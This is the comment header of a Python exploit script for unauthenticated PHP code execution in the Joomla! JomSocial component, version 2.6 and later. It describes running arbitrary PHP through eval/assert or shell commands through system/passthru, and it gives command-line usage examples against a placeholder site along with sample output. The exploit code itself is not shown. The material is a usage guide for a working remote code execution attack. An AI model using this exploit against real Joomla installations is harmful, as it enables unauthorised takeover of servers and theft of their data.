#
# Joomla! JomSocial component >= 2.6 PHP code execution exploit
#
# Authors:
#   - Matias Fontanini
#   - Gaston Traberg
#
# This exploit allows the execution of PHP code without any prior 
# authentication on the Joomla! JomSocial component.
#
# Note that in order to be able to execute PHP code, both the "eval" 
# and "assert" functions must be enabled. It is also possible to execute
# arbitrary PHP functions, without using them. Therefore, it is possible
# to execute shell commands using "system", "passthru", etc, as long
# as they are enabled.
#
# Examples:
#
# Execute PHP code:
# ./exploit.py -u http://example.com/index.php -p "echo 'Hello World!';"
# ./exploit.py -u http://example.com/index.php -p /tmp/script_to_execute.php
# 
# Execute shell commands(using system()):
# ./exploit.py -u http://example.com/index.php -s "netstat -n"
#
# Exploit shell commands(using a user provided function, passthru in this case)
# ./exploit.py -u http://example.com/joomla/index.php -s "netstat -natp" -c passthru
#
# Exploit execution example:
# $ python exploit.py -u http://example.com/index.php -p 'var_dump("Hello World!");'
# [i] Retrieving cookies and anti-CSRF token... Done
# [+] Executing PHP code...
# string(12) "Hello World!"
